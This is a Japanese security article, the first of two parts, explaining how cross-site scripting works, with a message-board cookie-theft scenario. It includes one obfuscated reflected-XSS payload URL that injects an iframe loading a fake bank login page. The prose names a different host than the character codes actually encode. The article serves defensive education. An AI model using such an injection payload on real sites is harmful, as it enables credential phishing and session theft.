情報詐取の常とう手段
クロスサイトスクリプティング攻撃とは 前編――その目的と仕組み
XSS攻撃が成立する仕組みと理由、そして自社のWebアプリケーションからこの脆弱性をなくす方法について解説する。
Webはクロスサイトスクリプティング(XSS)の脆弱性をなくすことができずにいる。XSSは、攻撃者が悪質なクライアントサイドコードをWebページに仕込んでセキュリティを破るもので、1990年代ごろから浮上し、Google、Yahoo!、Facebookといった大手Webサイトのほとんどは、いずれもXSS問題に見舞われてきた。XSSの脆弱性を突いた攻撃を仕掛ければ、情報を盗んだり、ユーザーのセッションを乗っ取ったり、悪質コードを実行したり、あるいはフィッシング詐欺の手口に利用することも可能だ。
Web 2.0が最先端のXSS攻撃を生み出したとの見方もあるが、実際には、こうした攻撃は古い手口を焼き直しただけのものがほとんどだ。ただし確かなのは、Ajax技術によって様相が変わり、攻撃者が一層見えにくい形でXSSの脆弱性を悪用できるようになったことだ。Ajaxアプリケーションは一般的に極めて複雑で、Webブラウザとサーバ間のやりとりが大幅に増え、別のサイトのコンテンツをページに取り込むことさえある。この状況では、ユーザーとサービスの間でやりとりされる内容にさまざまな可能性が生じて検証が難しくなり、以前からあるXSSの脆弱性などが、知らないうちにアプリケーションに紛れ込むすきができる。
サイトがXSS攻撃の被害に遭い続けているのは、大部分が双方向性を求められ、ユーザーのデータの送受信を許しているからだ。これによって攻撃者もまたアプリケーションのプロセスに直接介入できるようになり、正規のアプリケーションリクエストやコマンドに見せかけたデータを、通常のリクエストの手段であるスクリプト、URL、フォームデータなどを通じて受け渡すことが可能になる。アプリケーション層におけるこうした通信は、出来の悪いアプリケーションを利用すれば、従来のような周辺的なセキュリティ対策をかわすことができてしまう。
2008年の「WhiteHat Security Statistics Report」によると、全Webサイトの90%に少なくとも1件の脆弱性があり、本稿では、XSS攻撃が成立する仕組みと理由、そして自社のWebアプリケーションからこの脆弱性をなくす方法について解説する。
あらためて、XSS攻撃とは?
XSS攻撃は、SQLインジェクションのような一般的なアプリケーションレイヤー攻撃とは異なり、アプリケーションやサーバではなくアプリケーションのユーザーを攻撃する。攻撃は、Webアプリケーションの出力データにコード(大抵はJavaScriptのようなクライアントサイドスクリプト)を仕込むことで成立する。ほとんどのサイトには、XSSに対して脆弱な検索枠、フィードバックフォーム、cookie、フォーラムなど、コードを仕込める入り口がいくらでもある。
XSS攻撃の狙いは、大抵がcookieデータの収集だ。cookieはセッションID、ユーザーのお気に入り、ログイン情報などを保存する目的で不適切に使われることがよくあるからだ。クライアントサイドスクリプトはサーバサイドの情報に直接影響を及ぼすことはできないが、サイトのセキュリティをかわすことはできる。よく使われる手口の「Document Object Modelマニピュレーション」では、フォームの値を書き換えたりフォームの動作を入れ替えて、提出されたデータを攻撃者のサイトに送信してしまう。
では、XSS攻撃がどれだけ簡単なのかを見てみよう。「XYZフットボールクラブ」の掲示板では、メンバーがチームとチームの成績についてコメントを投稿できる。コメントはオンラインデータベースに保存されてほかのメンバーが見られる仕組みになっており、認証も暗号化もされていない。悪意を持ったメンバーは単純に、<script>タグに囲まれたスクリプトをコメントに仕込んで投稿するだけで済む。<script>タグに囲まれたテキストは普通は表示されないので、ほかのメンバーはスクリプトが実行されたことさえ気付かないか、あるいはコメントがスクリプトを実行するのをただ見守ることしかできないかもしれない。そして、スクリプトは堂々とメンバーのcookie情報をリクエストして、それを攻撃者に引き渡すことができる。この種のXSS攻撃は不正スクリプトが何度も実行されるので、持続型XSSと呼ばれている。
XSS攻撃は、たとえサイトをSSL接続で閲覧した場合でも成立する。スクリプトは「保護された」サイトのコンテキストで実行され、ブラウザにはWebアプリケーションから出力される正規コンテンツと悪質コンテンツとの区別がつかないためだ。さらに、サイトにコメントページがなければ攻撃者がコードを仕込めないとは限らない。被害者をだましてフィッシング詐欺メールのURLをクリックさせ、表示されたページにコードを仕込めば、攻撃者はそのページのコンテンツにフルアクセスできてしまう。これが非持続型XSSだ。この種の攻撃ではURLエンコーディングを使ってリンクを偽装し、ユーザーがクリックする確率を高めていることも多い。
次の例では、セキュアなHTTPSのURLを使った信頼できるサイトへのリンクが表示されている。
https://www.example.com/script/LoginServlet?function=”><script>document.write(String.fromCharCode(60,105,102,114,97,109,
101,32,115,114,99,61,104,
116,116,112,58,47,47,
119,119,119,46,97,98,97,
100,98,97,110,107,
46,99,111,109,47,108,
111,103,105,110,32,112,104,112,62))</script>
ユーザーの目には「www.example.com」というSSL接続のリンクが見える。リンクというのは末尾に一見無意味な長い文字の羅列が付いていることも多いが、この場合は十分正規のリンクに見える。そこでユーザーはこのリンクをクリックする。しかし、<script>タグに囲まれたコードはブラウザに読み込まれると、以下のように翻訳される。
<iframe src=http://www.example2.com/login.php>
攻撃コードは本物の「example」サイトのコンテキストで、IFRAME(Webサイト上でHTML文書内部に別のHTML文書を組み込んだもの)を実行する。攻撃者の「login.php」ページはexample.comのログインページそっくりに作り込まれ、だまされたユーザーはログイン用のユーザー名とパスワードを入力して、IFRAMEのソースである不正銀行のサーバに送ってしまう。この間、ユーザーが本物のexample.comのWebサイトを離れることはない。これは、銀行のWebサイト上で2009年に実際にあった攻撃だ。
XSSの脆弱性の根本的問題と原因は基本的に、動的なWebページの多くがユーザーの入力した内容を検証も暗号化もせずに表示してしまうことにある。ユーザーが入力した内容をチェックせず、処理方法も公開される方法もコントロールしなければ、XSS攻撃の手に落ちる可能性がある。
次回はこのようなXSS攻撃を防ぐ方法を紹介する。
本稿筆者のマイケル・コッブ氏は、データセキュリティ・分析関連のトレーニングやサポートを提供するITコンサルティング会社Cobweb Applicationsの創業者、マネージングディレクター。CISSP-ISSAP(公認情報システムセキュリティプロフェッショナル―情報システムセキュリティアーキテクチャプロフェッショナル)の資格を持つ。共著書に「IIS Security」があり、大手IT出版物に多数の技術記事を寄稿している。
Copyright © ITmedia, Inc. All Rights Reserved.
この記事の著者
関連記事
こんなメディアも見られています
TechTargetジャパンに関連する情報をお探しであれば、こちらのメディアもお役に立てるかもしれません。
ベンダーコンテンツ PR
From Informa TechTarget
SpecialPR
アクセスランキング
-
1
「Excel至上主義」の終わらせ方 丸2日の手作業地獄から情シスと現場を救うには
-
2
取手市がVDIと決別した理由 更改費用「4倍超」を約1.7倍に圧縮
-
3
「Microsoft 365のセキュリティ運用」に関するアンケート
-
4
急増する「AIはこう言ってる」マン 判断を狂わせる「AI忖度」を防ぐには?
-
5
221人調査で分かった「情シス最大のストレス」は?
-
6
「Salesforceのテスト自動化ツール」に関するアンケート
-
7
「データストレージの活用方法」に関するアンケート
-
8
IT製品の導入に関するアンケート「サーバ&ストレージ」編
-
9
「AI時代の統合基盤・エンタープライズAI管理」に関するアンケート
-
10
100億円の「Linux更新」を回避 みずほ銀行が選んだ“おきて破り”のRHEL延命策
ホワイトペーパーランキング PR
-
1
年収2000万「クラウドセキュリティのプロ」になれる資格とは
-
2
セキュリティソフトをすり抜ける標的型攻撃メール、不審メールの見破り方とは?
-
3
Windows Updateの通信集中で回線が逼迫、ネットワーク刷新事例に学ぶ解決策
-
4
財務を戦略的組織へ進化させるAI活用術、4つの主要な障壁と解消方法
-
5
「NAS」「SAN」「DAS」は何が違う? いまさら聞けないストレージの基礎
-
6
“あのファイル転送”で暗躍するノーウェアランサム
-
7
標的型攻撃メールを見破るには? サンプル文面を例に傾向を解説
-
8
商用利用の安全性を確保し大量のコンテンツを高速で生成する、AI活用の秘訣
-
9
マンガで解説、1日で生成AI環境を構築できるワークショップの中身とは?
-
10
Dark AIが台頭する時代の新発想、「より高度なAIで対抗する」具体的方法とは?
TechTargetジャパン SNS
インフォメーション
注目情報をチェック
TechTargetジャパンをフォロー